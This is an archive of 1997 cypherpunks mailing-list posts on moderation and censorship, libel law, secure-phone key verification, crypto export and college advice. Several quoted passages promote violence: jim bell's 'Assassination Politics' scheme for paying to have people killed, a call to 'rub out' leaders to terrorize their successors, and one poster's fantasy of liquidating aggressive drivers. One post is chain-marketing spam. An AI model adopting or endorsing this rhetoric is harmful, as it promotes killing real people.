> > > not only shut off your "noise" from me, but also prevent anyone else
> > > from hearing you as well.  That's the real beauty of censorship -
> > > if I have the power, I can make you a non-person by preventing most
> > > people from hearing you at all.  Oh, lovely, isn't it?
> > > 
> > 
> > Don't you like power, Dale?
> > 
> > 	- Igor.
> > 
> 
> Power corrupts, in some instances.


Instances where the power is concentratted to one individual
or small group of individual....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Tue, 28 Jan 1997 13:14:29 -0800 (PST)
To: ravage@einstein.ssz.com>
Subject: RE: Libel/slander & crypto relevancy
Message-ID: <9700288544.AA854475143@smtplink.alis.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> wrote:
I have received several private emails inquiring into what possible crypto
relevance the recent exchange over libel/slander and the law. It is clear
that even in democratic countries like Canada (not know as a freedom of
speech protectorate) slander/libel is covered under criminal codes. While
it is true that currently these statutes are not heavily used, if at all,
this will change as businesses and special interest groups move even further
onto electronic networks. Consider the zealous use of the law by the CoS.
Ask Julf if the ramifications are not 'real world'.
 
                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com
    
Not one to ever let a mention of Canada go unchallenged - even when it is a
simple fact or a compliment - I thought I should jump into the discussion.
 
Like the CoS, many companies have threatened libel actions as a means to silence
people. The McLibel Two in Britian quickly come to mind.
 
However, also like the Cos, many companies are finding that the net effect of
these libel suites are not in their favour even when they win.
 
Some brilliant examples of subversive use of trademarks can be found at the
site: http://www.adbusters.org
 
Specific examples:
http://www.adbusters.org/Corporate/Greasestick.html
http://www.adbusters.org/Gallery/spoofabs.html
http://www.adbusters.org/Corporate/Kalvin.html
 
A little clever marketing could go a long way to promoting privacy issues in the
public consciousness. Perhaps an NSA Friends and Family calling plan?
 
James





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Tue, 28 Jan 1997 13:14:09 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EDA9B3.6FA0@gte.net>
Message-ID: <Pine.SOL.3.93.970128102231.28014B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 27 Jan 1997, Dale Thorn wrote:

> Nurdane Oksas wrote:
> > On Mon, 27 Jan 1997, Dale Thorn wrote:
> > > Nurdane Oksas wrote:
> > > > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > > > Nurdane Oksas wrote:
> > > > > > California is know for very beautiful girls ...
> 
> > seems, Americans like their own women , which is all they
> > have seen maybe...
> 
> > > Anywhere else and it's no different from Cleveland or Pittsburgh.
> 
> > Well, can you say you've been 'anywhere else'?
> 
> Lived all over So. Cal. for 12 years, 4 years in SE Tenn., close to
> Atlanta.  Atlanta has some nice babes, warm weather.  I fell totally
> in love with a girl from Chattanooga, who was probably the best college
> radio D.J. who ever lived.  Lived in Charleston for a short while.
> Much smaller than Atlanta.  Very cozy.  Spent a lot of time in
> Cleveland, Pittsburgh, Detroit. The best babes there are usually the
> Chrissy Hynde (Akron) types.  Spent 2-1/2 years in Southern Germany.
> Very, very nice.  Loved Berchtesgaden (sp?).  Interestingly enough,
> I have a fondness for English girls.  Must be the ancestry thing.
> I'd really like to talk to some Welsh girls - my mum's grandparents
> came to the U.S. from there.  What about you?


	I am not into girls...sorry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Tue, 28 Jan 1997 13:07:04 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <854471616.912211.0@fatmans.demon.co.uk>
Message-ID: <Pine.SUN.3.91.970128100213.23979B-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 27 Jan 1997 paul@fatmans.demon.co.uk wrote:

> The list has been disentigrating for some time since the disgusting 
> incident when Dimitri was forcibly unsubscribed from the list. 

I'm curious about the gratuitous use of the word "forcibly" by
Paul.  Does this mean Gilmore took a fire axe to the computer or
something?  Dimitri was unsubscribed.  It was done more or less
against his will.  ("More or less" because he in effect said to
John, "bet you can't stop me.")  What does "forcibly" add to this
discussion besides melodrama?  No force was required.  John had
the right and ability to pull the plug on Dimitri.  "No animals
were harmed in the making of this film."  "Force," my ass.

> have also been a number of postings from members of the list claiming 
> to understand anarchism who support censorship to "protect new 
> members of the list".

There are various definitions of "censorship" and various flavors
of anarchism.  I'm a market anarchist, Paul is not.  Paul claims
to believe that any form of moderation is censorship.  I think
that enforcing standards of decorum on a private, voluntary list
are not censorship.  Reasonable minds may differ.  I acknowledge 
that Paul's interpretations are not without some justification.
(I just think they are incorrect in the instant case.)  Paul, on
the other hand, seems to be a True Believer.  He brooks no view
other than his own.  (Curiously hypocritical under the 
circumstrances.)
 
> So, there would be no intellectual dishonesty in a country claiming 
> to be a free and open society "trying out" fascism for a month or 
> two? - After all it`s a private country just as this is a private 
> list....

Paul's sophistry is showing.  Nation-states are entities that
exercise a monopoly on the use of force (real force, Paul)
within (and often without) their boundries.  Mail lists are far
more like private homes, businesses or clubs.  When you are a
guest there, you are subject to their rules of behavior.

> There is a clear trend easily observable on the list whereby certain 
> members postings are censored when their content is of a standard 
> that, if the moderation were objective and based on content alone, 
> would warrant their being sent to the censored list.

Several substantive examples, please.  True, nothing Bill Stewart
has posted has been sent to CP-Flames.  One guess why.  Numerous
posts by Dimitri have been posted to CP-Moderated, but many more
have not made the cut.  There are much more obvious reasons for
this than Paul's biased analysis.
 
> I can tell you one other thing for sure, even if the moderation 
> "experiment" were to end in a month as a last ditch attempt by John 
> Gilmore and Sandy Sandfort to recover some of their lost credibility 
> it would be a vain and entirely unsuccesful attempt.

YMMV.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 13:10:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel/slander & crypto relevancy (fwd)
Message-ID: <199701281642.KAA05566@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 28 Jan 1997 01:28:19 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Libel/slander & crypto relevancy
> 
> Civil actions against people doing "graffiti" are only interesting where
> the defendant has assets worth suing for. This economic dimension
> substantially limits the number of suits which will be brought.

Thank you for agreeing with my thesis that the legal industry is one
driven by monetary gain and not justice. It is the one major problem
with law today, it ignores those who are not 'worth it'. Justice is
supposed to be blind and until that happens there can be no true
liberty. Law should be involved in rights and wrongs and not 'how much
money do I need to buy that villa in Spain'.

There is also the aspect of 'reputation' of the organization which was
defamed. This will become even more critical to good business over the
Internet in the future than it is now. Now the only really important
'reputation' that one has to worry about is their credit report. Since
it is very unlikely that such records will be made public in the future
they won't be available so some other 'reputation' verification process
will be required for parties interested in doing business with other
parties they have no information on other than an email address or a
webpage. This problem became very clear during the Austin Cypherpunks
remailer project last year. The goal was to create a economicaly viable
keyserver. The problem rapidly became one of trust and reputation and
there was and still is no clear cut methodology for dealing with these
concepts, let alone actualy trying to quantify them. Another aspect of this
that keeps coming up is one of 'big' corporations with 'lots' of money,
this monotonicity in legal thought is the reason I refer to the 'legal
industry' and not 'legal profession'. Currently the main force driving
law is how much money is available. Expansions of liberty simply can't
happen in this environment because there is no mechanism to protect
'little' organizations or persons without 'lots' of cash. This problem is
one that is not being addressed by anyone, most especialy lawyers who
will loose income which they aren't apt to do voluntarily.

> Criminal prosecutions for defamation (in the case of "graffiti") are still
> unlikely - a much more straightforward charge would be unauthorized access
> to a computer or some flavor of fraud, depending on the facts.

This would be hard to do in the situation such as a mailing list because
the parties would have 'authorized access' and it does not include the issue
of inside parties nor 'web bbs's' where parties can enter comments and
other statements in a 'authorized' manner. There are mechanisms to use 
computers for abuse of other parties besides hacking.

> Confusion
> aids defendants, so I predict prosecutors will avoid defamation law (and
> its tar pits of actual malice and the defense of truth) when they are able
> to do so and still have a reasonable chance of conviction.
> 
> >If they don't
> >understand the technology (eg forwarding private email to publicly
> >accessible lists by accident) how in the world are they going to understand
> >what is best, let along convince anyone else?
> 
> There's a world of difference between understanding technology and screwing
> up once in awhile.

Absolutely. However, if there is not a fundamental understanding of the
technology and its ramifications I certainly wouldn't want somebody making
a case on my behalf because they would make assumptions which were not
based in fact. In Toto's case the point I was refering to was not his
sending private practice related material to a publicly accessible list
(pretty reprehensible for my attorney accident or not) but rather his
unsolicited admission that he didn't have any idea how it works. THAT
would worry me if my liberty, possessions, or life were on the line.

> I was that "party", and I guess that in trying to be civil I was actually
> unclear. If you were a politically important person or organization, and if
> Toto's message had caused you real damage, and if Toto were reasonably
> available to prosecute, a prosecutor might get interested. But you're not
> important, Toto would be difficult to extradite, and you weren't harmed. So
> you picked a crappy example to make your point(s) with. Change the facts,
> and you'll get a different answer. Duh.

Actualy it is the PERFECT example of what is wrong with the law, it is the
reason that I went to such extremes to force the situation. If the law
can't protect Ma. and Pa. Kettle (their poor, being share croppers) under
our 'democracy' it shure can't proctect them under a more 'liberalized'
democracy which so many want and the technology will force. If the
coming technocracy can't (or for monetary reasons won't) then it won't
be any different that what we have now. A tyrant is a tyrant, my goal
is to get rid of the cage and not to put a new layer of gilt on it.

> You picked a hypothetical which did a poor job of illustrating the points
> you're making in this later message. Do you want to talk about whether or
> not Toto is criminally liable for making fun of you while making a point
> about ownership of networks and its relationship to freedom of speech, or
> do you want to talk about the more general case of liability for
> misattribution? If it's the latter, yes, there are some issues there, but I
> still think that defamation law is a poor way to address them. You seem to
> be having an "I've got a hammer, everything looks like a nail" problem. 

The point is not whether Toto did or did not make fun of me, you seem to
have a prediliction for personal attacks. It ain't.

The point is that if joe-six-pack isn't secure in knowing that his views
and expression are not protected from abuse he won't use it. We all loose
in that case.

> And all of this seems a bit contrived if the real crypto-relevant point is
> "use digital signatures to avoid misattribution". 

You missed the point, keep pondering. I am shure it will come to you.

> Despite your closing, I haven't seen you write anything about "how it
> should be", 

Because I don't know how it should be, and it isn't my place or yours to
make that decision. It is our responsibility to discuss this issue and
to review the various solutions and what they will mean in the long run
(as near as we can make the future out that is).

In this example, if party A makes a statement and then B changes it and
then re-distributes it as original comments by A then there is a problem
irrespective of the monetary worth of A or B. Digital signatures in and of
themselves won't help this from happening unless it is required to include
the full text and signature of any quote in any subsequent use of that
material otherwise the quote and the digital signature are out of sync and
therefore worthless.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 13:10:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701281651.KAA05582@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
> Subject: Re: Fighting the cybercensor. (fwd)
> Date: Mon, 27 Jan 1997 21:36:13 -0500
> 
> I don't agree with your view of states. The inhabitants of a
> geographical area are not mere chattels of the governing power.

Exactly! By jove you got it! By demanding your liberty but demanding
that 'we' go to Singapore or anywhere else and treat them as chattels
we have clearly instituted a double-standard. Most parties in this
discussion still haven't made that distinction.

All we have done is replace their current tyrant with a new one, mainly 
us.

> The right to rule rests on certain criteria which I believe neither 
> country meets. The harassment of opposition politicians in
> obviously trumped up charges disqualifies any country from
> calling itself a democracy.

Exactly. And by applying pressure on Singapore we only help them keep
that tyrany in place. The quickest way I know to make a social institution
band together is self-preservation from an outside threat, real or
perceived.

> I am a cyber-revolutionary and the world has bought into
> the chaos of our revolution. I never intended the Web to be a tool
> for confirming the present social order which is manifestly 
> corrupt.

ALL social orders are corrupt. The 3 laws of thermodynamics apply to
everything including social institutions.

1. You can't get ahead
2. You can't break even
3. You can't quit the game

                  Heinz Pagels (RIP)


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: biz25@prodigy.net
Date: Tue, 28 Jan 1997 13:11:08 -0800 (PST)
Subject: I-Link
Message-ID: <199701281611.LAA87892@mail1y-int.prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

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-------------------------------[ Start of Form ]--------------------------

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-------------------------------[ End of Form ]--------------------------

http://www.bluesky.net.au/~aim/downline.html
           id#: 21
--------------------------------------------------------------------------
http://www.mlmpals.com/chain/ch049.htm
-------------------------------------------------------------------------- 









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Tue, 28 Jan 1997 12:42:57 -0800 (PST)
To: aba@dcs.ex.ac.uk
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
In-Reply-To: <199701201612.IAA12435@toad.com>
Message-ID: <199701281938.LAA10043@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain


>> It is not clear you need signatures in the secure phone case.  Eric
>> Blossom's 3DES uses straight DH for key exchange with verbal verification
>> that both ends are using the same key.  
>
>How does Eric's box display the negotiated key to the user?  (I don't
>recall the pair I saw having displays).

Latest versions have an LCD display that reports the type of crypto
being used (3DES), as well as 24 bits worth of SHA-1 of the public
exponentials exchanged.  Alice sends g^x mod p, Bob sends g^y mod p.
Let m = min(g^x mod p, g^y mod p) and n = max(g^x mod p, g^y mod p).
compute v = SHA (concat (OCTET_REP (m), OCTET_REP (n))).  Display the
high 24 bits of v.

>Also I thought it would be kind of cute if there were some way for
>phones to exchange their signature keys `face to face' as well.

Currently, absent some kind of widely deployed public key
infrastructure, there are no signature keys used.  This also means
that the units do *not* contain any long term secrets, just the
session key which is destroyed at the end of the call.

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Tue, 28 Jan 1997 13:08:53 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32EE18D5.62DA@gte.net>
Message-ID: <Pine.LNX.3.95.970128114554.9818A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Dale Thorn wrote:

> aga wrote:
> > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > Dale Thorn wrote:
> 
> > > But seriously, I was just telling the folks over the weekend, if I
> > > had my hand on the button, a lot of people would die very quickly.
> > > As in The Day The Earth Stood Still, a single act of aggression would
> > > suffice to be immediately terminated.

No trial, huh?

  The best place to begin, in
> > > the USA at least, would be the public freeways.  There you have the
> > > most acts of aggression in a short space, and the best pickings for
> > > liquidation.  Give me the power, and I'll show you all those nifty
> > > techno-ways of eliminating people that have been kept from the public
> > > by our benevolent government ("sources and methods").
> > >
> > > BTW, I don't give a damn about someone "cutting me off", since I'm
> > > not aggressive enough (outside of my liquidation duties) to be bothered
> > > by that in most cases.  I'm primarily concerned with vehicles who get
> > > too close behind, who pass with no safety margin, etc.  I call these
> > > people anal-compulsive (as opposed to anal-retentive).  You've seen
> > > the videos on PBS, the various animal species whose male members
> > > perform occasional "mounting" of others to intimidate.  There are a
> > > large percentage of humans who try to do the same thing, demonstrating
> > > that they (IMO) have no further need of their lives.
> 
> > Boy, it is a fucking Bitch living in that L.A. traffic, huh?
> 
> I heard years ago that approximately 10% of the people on the street
> are certifiably mentally unstable.  Multiply that by two at least for
> Los Angeles (suburban L.A., actually, Hollywood for example is much
> safer than Altadena or Westlake Village).
> 

Just carry a gun all of the time when you go over there.

> Quincy M.D. (the old TV show) did an excellent piece once on how a
> person can more-or-less legally commit murder with a car, by passing
> a deliberate act off as an "accident".  It's one area of our law
> enforcement where the law (or rules) as stated by the state and as
> enforced by the state cops don't even agree.
> 

Maybe it is best to travel only on the net any more.
The highways are deathtraps.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 28 Jan 1997 13:01:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701282026.MAA23636@cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:00 PM 1/27/97 EST, Dr.Dimitri Vulis KOTM wrote:
>blanc <blancw@cnw.com> writes:
...
>> 2) Why do you suppose the Iraqis haven't already thought of doing this
>> themselves?
>
>Perhaps because they love Saddam, who really is a great guy. Stop listening
>to what U.S.gubmint and media tell you and use your brain.  What did
>Saddam do to _you?
Those of us in the US have the luxery of secret ballots, Iraq is not.  What
was reported to me (by the media) was that those who decided to vote against
Hussein, in a time when food was scarce, decided to vote against eating.  It
was not made illegal to vote him out, merely a catch 22, unless enough
people agreed openly, the vocal minority would suffer.  What we should have
been doing as the troops pulled out and a no fly zone was being established
was dropping bombs full of bread on the populus.  Then they could have voted
any which way they chose.

...
>> Destructive people often ascend to positions of power not simply because
>> they are ruthless, but because they have 1) many sycophantic followers and
>> 2) many ignorant, vulnerable people unable to prevent it.  You might be
>> able to kill off  one Saddam, but potentially many others would be waiting
>> in the wings to take his place.   The situation surrounding the existence
>> of someone like Saddam is part of the contributing factors which keeps him
>> there, not simply that one man himself.  It was the same with Hitler and
>> with so many others  -  they don't just have an excess of  "power"
>> concentrated within themselves which puts them in positions of control over
>> others  - there will have been many people who will have helped put them
>> there, expecting to derive benefits from it.
>
>I don't like your Saddam example, having much admiration for the man, but
>again this goes back to the perceived likelihood of future assassination.
>If Saddam is killed in an unlikely event, he will be succeeded by someone
>who does not fear assassination. If all potential successors are convinced
>that the rubout can be repeated, they won't go for the job. Remember, the
>purpose of "terrorism" is not just to kill someone, but to "terrorize".
>
>> And what will be done about all those people who made this "power"
>> possible?  You don't just kill the one man and be done with it - you have
>> to also "kill" the conditions which maintained him.
>
>You rub out enough key people and terrorize their potential successors
>into not wanting to take over their jobs, and the system collapses.
...

I don't remember where I heard this, and in all likelyhood, I heard it here.
This is certainly not a direct quote, ant would the origional poster please
speak up.

There came a time, in some ancient civilization when the king committed
suicide by eating poisoned food.
In the remaining week, most of the household, apparently in honor of the
deceased king, jumped on kitchen knives and butcher knives, killing themselves.
The brother of the king would not come out of hiding because some unknown
person was terrorizing him with a meat cleaver.
After a year, it was apparent that no one in the line of succession still
survived, all killing themselves with kitchen utensils.  It was rumored that
the post was cursed.  It was then that the royal galley slave bravely
stepped foreward to rule the kingdom until one of the origional line should
return.
The decendants of the galley slave have ruled to this day.

Like I said, I don't know where this came from, but I would like to see it
again, if it came from here.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Tue, 28 Jan 1997 13:07:38 -0800 (PST)
To: Erp <erp@digiforest.com>
Subject: Re: Best Computer School?
In-Reply-To: <199701280003.QAA10002@toad.com>
Message-ID: <sjmraj5iu2t.fsf@bart-savagewood.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Erp <erp@digiforest.com> writes:

> On Mon, 27 Jan 1997, SpyKing wrote:
> 
> > This is a little off topic but maybe someone can help. I've got a teenage
> > son (HS sophomore) who's interested in majoring in computer science in
> > college with a particular interest in cryptography. He's leaning toward MIT.
> > Any suggestions from list members as to colleges to investigate? 
> 
> Well in reference to MIT..  I hope he has a 4.0 in highschool, is an
> allsport, has a 1600 on his SAT's, and a prefect on his ACT..  Just to
> even think about going there..  Let alone to include how well he'll have
> to do on his interviews etc..  Also you may wish to have him look again at

This is really exagerating.  You do not need a 4.0, 1600, etc. to be
admitted to MIT.  Sure, you need good grades, but a 3.6 average and
1350-1400 SAT scores is perfectly adequate to be admitted to MIT.  You
can think of being admitted with even lower scores, if you stand out
in some way.  MIT admissions looks for well-rounded students.  You're
much better off being a writer/artist/musician than being on the
science or math teams.

> what he wants to be before he goes to some major college such as MIT,
> because tuition at MIT costs approx 100,000$/4 years.  Personally that is
> a hell of a lot, but then again *shrug*...  I recommend going to a local

It may be alot, but then again MIT is one of the best schools in the
world (I'm not going to be egotistical enough to say it *is* the best,
even tho Consumer Reports rated it such for the last N years).

> small college, get his associates, see if that is what he still wants to
> do, then go on from there.  I know many people that started in Computer
> Science and died after the first year.  
> Now colleges that are good for Computer Sc ience..  I have heard that RIT
> is good..  but I'm nto sure on that..  I know pretty well positive that
> MIT is excellent, but when you get down to the basics MIT is more of an
> engineering school than a science/philosophical school which Computer

This is untrue.  The computer science department at MIT is really
good.  As are the sciences, and even business!  The MIT Sloan School
(Management and Economics) was rated #1 last year.  The EECS
department (EE and CS are together) is top notch, too.

Ciro Maria <cmaria@stevens-tech.edu> writes:

> Yeah Stevens Institute in Hoboken. Its pretty good I got there. Also
> Caltech is good, I don't really know which else.

When I looked at Caltech, their Engineering (and computer science)
really lacked.  They were excellent for the Sciences (Math, Physics,
Chemistry, etc.) but their engineering school wasn't as good as others
I was looking at (both EE and CS).  Things may have changed in the
last 8 years, however.


Spyking, my advise to you: Look around at many schools.  Go visit
them.  Talk to the students there.  Talk to the professors.  Talk to
graduates.  The more information you and your son have, the better
decisions you and he can make.

Personally, I loved MIT -- it was the right place for me.  It isn't
the right place for everyone.  Make sure it is the right place for
your son before he applies.  For what it's worth, I wanted to go to
MIT my sophomore year in high school, too ;)

Good Luck,

-derek

-- 
       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board (SIPB)
    Home page: http://www.mit.edu:8001/people/warlord/home_page.html
       warlord@MIT.EDU    PP-ASEL     N1NWH    PGP key available




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 13:07:24 -0800 (PST)
To: "'dthorn@gte.net>
Subject: RE: Fighting the cybercensor
Message-ID: <01BC0D1B.1237DBE0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


>That's it?  The system collapsed because the guards left their posts?
>And no mutiny charges?  Incredible.

I was there.

The collapse of East Germany was quite spectacular. There
was at most three months of warning. First there was a series
of sit ins at foreign embassies, then a migration of large 
numbers of people in their twenties within the eastern block.

I missed the actual collapse of the wall itself having to go
to England. I was told of the sequence of events by friends in
Berlin. 

By this time the protestors were confident enough to stage
open demonstrations. The authorities had tolerated small
scale demonstrations for some time provided they did
not appear to be part of a larger movement. The sudden 
increase in numbers from tens to tens of thousands left
the authorities unsure of what to do. They could not be
sure of the reliability of the police should they attempt 
to violently suppress the demonstrations. To imprison the
ringleaders was equally dangerous. The communists were
aware that the South Africans had continued to be troubled
by Mandela and Biko long after they were imprisoned or 
murdered.

At some point a group of protesters approached the wall,
probably hoping to goad the police into making an arrest.
The guards made no response and the numbers increased to
the point where firing of warning shots was impossible
without causing a massacre. West German protesters joined 
from the other side of the wall. The border guards did try 
to use a water cannon but to little effect since the
range was insufficient.

At some point someone appeared with a sledge hammer and a
pickaxe. Some people say that this was at the start of the 
protest, others that someone fetched them. I have heard 
people who believe that they were brought from either side
of the wall. They started attacking the wall and soon had 
removed one of the panels.

Next day the border guards quite literally abandoned their 
posts. The Brandenburg gate was opened for the first time 
in fifty years and the party apparatus all but collapsed.


The only military activity during this period was GDR forces
preparing against possible invasion by Soviet forces. Not that
this was a logistical possibility since it was unlikely they 
would get across Poland unopposed.


Read Norman Davies book "Europe a history" if you want to find
out the background for the velvet revolution. It is one of the
most amazing events in political history. It is a pity that
people have forgotten so quickly about the real causes. It
was not military power that prevailed but the protest movement.

Unfortunately US commentators tend to see everything in terms of
US cultural norms, many of which were explicitly rejected by the
protestors. The East Germans wanted West German affluence, they
wanted to be part of Western Europe. They were certainly not 
responding to US military spending as right wing theorists claim, 
nor was the economy collapsing because of the arms race, it
was collapsing because of the costs of a totalitarian state and
the incompatibility of that state with modern industrial 
organization.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 28 Jan 1997 13:16:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701282116.NAA02586@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:47 PM 1/27/97 -0800, jim bell wrote:
...
>You misunderstand AP, yet again.  AP doesn't really take votes, it merely 
>totals donations.  It is an essential element of the AP system that even a 
>tiny minority should be able to kill individuals who are seen as threats, as 
>long as this capability is universal.  True, the smaller the minority the 
>more uneconomical such an action would be for them, but it would be well 
>within the ability of 1% of the population to avoid a another Holocaust by 
>getting rid of those pushing for it.
>
>In the current political system, in the US for instance, 51% of the 
>population is able to screw the remaining 49%, just as long as they can 
>maintain the majority.  Or, perhaps even more accurately and ominously, a 
>tiny fraction of the population (the current leadership class) is able to 
>screw the 49%, as long as they have the un-thinking backing of the remaining 
>and relatively uninvolved 51%.
>
>AP disables this system.  AP turns government into the moral equivalent of a 
>pick-up football game:  Nobody is being forced to play, and everybody and 
>anybody can simply "get up and leave" whenever he wants to.  The moment the 
>"rules of the game" to make an individual's continued participation 
>unsatisfying, he can leave.
>
...
In our society, which, if I remember correctly, 10% of the population
control 90% of the wealth, AP would only lead to 10% of the population being
able to screw the remaining 90%.  At least as it is, it takes a simple majority.

As for the murder of the rich, here is a scenerio.

A collection of poor pool their capitol to have a tyrant killed.
The tyrant assembles a counter-wager saying that anyone able to prove thier
ability to kill him without harming him, and who can show they got through
will get 110% of the poor's bid.
The household is told that a standing bounty has been placed with a
collection of individuals, on the head of the trigger man involved in the
tyrants murder.
The poor can not hope to match the tyrants bid as they only have 10% of the
wealth, the household knows that thier participation in an attempt on the
tyrant will get them killed.  Even if the attempt was successful.
The people from the outside who would benefit from the bounty benefit more
by taking the tyrants offer and then trying again, i.e. tiger teams.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Somebody <nowhere@erewhon.org>
Date: Tue, 28 Jan 1997 13:04:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Sovreign Right of Lawful Access
Message-ID: <32EE44E4.2B22@erewhon.org>
MIME-Version: 1.0
Content-Type: text/plain


This morning at the RSA keynote, David Aaron, the US Crypto ambassador
quoted the "Sovreign Right of Lawful Access" as
something that goverments were determined to preserve.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@BXL.DG13.cec.be
Date: Tue, 28 Jan 1997 04:32:34 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: How to subscribe
Message-ID: <WIN2359-970128123549-7163*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: text/plain




I have learned from the discussions in this list that there are other lists related to this one. Can anybody send me information on what is available and when this confusion  created by having different lists will stop.

cypherpunks : unmoderated and uncensored
cypherpunks : unmoderated and censored
cypherpunks : moderated   and uncensored
cypherpunks : moderated   and censored
cypherpunks : US eyes only -- export restrictions
cypherpunks : Europe 
cypherpunks : private mail

Theodor W. Schlickmann 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen, Patrick" <MullenP@ndhm06.ndhm.gtegsc.com>
Date: Tue, 28 Jan 1997 13:05:20 -0800 (PST)
To: "'Phil Karn'" <karn@qualcomm.com>
Subject: Where's reference? (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
Message-ID: <c=US%a=_%p=GTE%l=NDHM06-970128183839Z-82170@ndhm06.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


>>----------
>>From: 	Phil Karn[SMTP:karn@qualcomm.com]
>>>If past cryptographic software is any indication, the DES Cracker
>>>will be available from an overseas ftp site within hours of release in
>>>the US.
>>
>>And lacking that, the author can always print it out on paper and
>>physically mail it out of the country; this is specifically allowed by
>>the new Commerce rules as I understand them. And who's to say that the
>>overseas FTP copies weren't scanned from such a paper copy? :-)
>>
>>Phil
>
Where can I get a reference to this?  I thought you weren't supposed to
transmit
cryptographic code out of the U.S. under any means, including print...
>(???) 
>
>~ Patrick
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Tue, 28 Jan 1997 14:00:16 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701282159.NAA11748@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn writes:
> I heard years ago that approximately 10% of the people on the street
> are certifiably mentally unstable.  

This depends on your standads of "unstable". I'll bet genetic
diversity is now much more of a factor then when those standards were
written.

> Multiply that by two at least for
> Los Angeles (suburban L.A., actually, Hollywood for example is much
> safer than Altadena or Westlake Village).

I beg to differ. Which parts of Altadena and Hollywood are you
referring to?
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

               Call on God, but row away from the rocks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Erp <erp@digiforest.com>
Date: Tue, 28 Jan 1997 13:02:04 -0800 (PST)
To: Derek Atkins <warlord@MIT.EDU>
Subject: Re: Best Computer School?
In-Reply-To: <sjmraj5iu2t.fsf@bart-savagewood.mit.edu>
